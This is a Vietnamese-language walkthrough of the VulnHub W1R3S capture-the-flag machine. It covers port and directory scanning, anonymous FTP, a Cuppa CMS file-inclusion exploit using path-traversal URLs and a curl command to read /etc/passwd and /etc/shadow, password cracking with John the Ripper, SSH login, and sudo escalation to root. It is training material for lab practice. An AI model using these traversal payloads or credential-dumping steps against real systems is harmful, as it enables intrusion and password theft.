w1r3s-editable Địa chỉ máy mục tiêu: https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
Mục tiêu: Giành quyền root, tìm flag
Thu thập thông tin
- Tìm kiếm máy nội mạng
sudo arp-scan -l
- Địa chỉ IP máy: 10.0.0.100, quét cổng máy
nmap -p- -A 10.0.0.100
- Thấy cổng 80 đang mở, thử quét thư mục website
dirb http://10.0.0.100
Thẩm thấu bảo mật
Thẩm thấu ftp
- Từ thông tin thu thập được, cổng ftp đang mở và cho phép đăng nhập ẩn danh, tên đăng nhập và mật khẩu đều là: Anonymous
ftp 10.0.0.100
-
Tải tất cả các file từ ftp về máy kali bằng lệnh get
-
Kiểm tra thông tin trong các file này
-
File 02.txt chứa hai đoạn thông tin, dựa trên kinh nghiệm có thể đoán trên là chuỗi mã hóa md5, dưới là chuỗi mã hóa base64
-
Thử giải mã md5, mở trang web giải mã md5
-
Trên kali kiểm tra giải mã base64
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
-
Đều là những thông tin khiến bạn từ bỏ hướng thẩm thấu ftp
-
Kiểm tra các file khác
-
Một số thông tin người dùng, có thể hữu ích, lưu lại trước
-
Tiếp tục xem file tiếp theo
-
Tôi nhận ra ngay đây là tiếng Anh đảo ngược, nên trực tiếp truy cập trang web đảo ngược
-
Rõ ràng các gợi ý này đều đang ám chỉ chúng ta nên từ bỏ hướng thẩm thấu ftp
-
Chúng ta quyết định bỏ qua hướng thẩm thấu ftp
Thẩm thấu web
-
Truy cập địa chỉ http://10.0.0.100
-
Truy cập địa chỉ: http://10.0.0.100/administrator/index.php
-
Tìm hiểu cuppa cms là một hệ thống quản lý nội dung
-
Vì sử dụng hệ thống quản lý của bên thứ ba, rất có thể tồn tại lỗ hổng, trực tiếp tìm kiếm poc hoặc exp trên google hacking
searchsploit cuppa
- Lấy file này về thư mục hiện tại và xem nội dung file
locate php/webapps/25971.txt
sudo cp /usr/share/exploitdb/exploits/php/webapps/25971.txt .
- Ở đây sử dụng lỗ hổng chứa tệp, chúng ta thử tạo đường dẫn như thế này để đọc thông tin nhạy cảm
http://10.0.0.100/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
-
Ở đây không đọc được thông tin nhạy cảm, nhưng đã đọc được file
-
Xem lại poc có thiếu tham số gì không
-
Đoạn mã php này có chức năng chứa và thực thi một file, thiết lập tham số urlConfig có thể thực thi mã tùy ý
-
Ví dụ này cũng cho thấy cần mã hóa url
-
Sử dụng curl mã hóa url và truy cập thông tin nhạy cảm
curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://10.0.0.100/administrator/alerts/alertConfigField.php
- Đã lấy được thông tin nhạy cảm của người dùng, và đã chặn ba thông tin người dùng quan trọng
- Thử bẻ khóa hash mật khẩu, ghi thông tin người dùng: mật mã vào một file trống, và sử dụng john the ripper
john passwd.txt
- Thành công bẻ khóa được mật khẩu của hai người dùng
- Thử kết nối từ xa với hai người dùng này
ssh www-data@10.0.0.100 -p 22
- Kết nối này đã đóng, bỏ qua
ssh computer@10.0.0.100 -p 22
- Đăng nhập thành công, và chuẩn bị nâng cao đặc quyền
Nâng cao đặc quyền
- Kiểm tra những thành phần nào có thể bị lợi dụng
sudo -l
- Mật khẩu chính là mật khẩu của người dùng w1r3s, có thể thấy tất cả các thành phần đều có quyền sudo
- Ở đây trực tiếp sử dụng sudo vào chế độ root
sudo /bin/bash
- Vào thư mục root để xem flag
Tổng kết
- Làm tốt công tác thu thập thông tin, thu thập nhiều thông tin sẽ giúp thẩm thấu thành công, một số cổng thông thường thẩm thấu, quét thư mục
- Tập trung thẩm thấu hệ thống quản lý của bên thứ ba hoặc các hệ thống khác, xem có poc hoặc exp tương ứng
- Học cách sử dụng john the ripper bẻ khóa mật khẩu người dùng
- Nâng cao đặc quyền đơn giản với sudo -l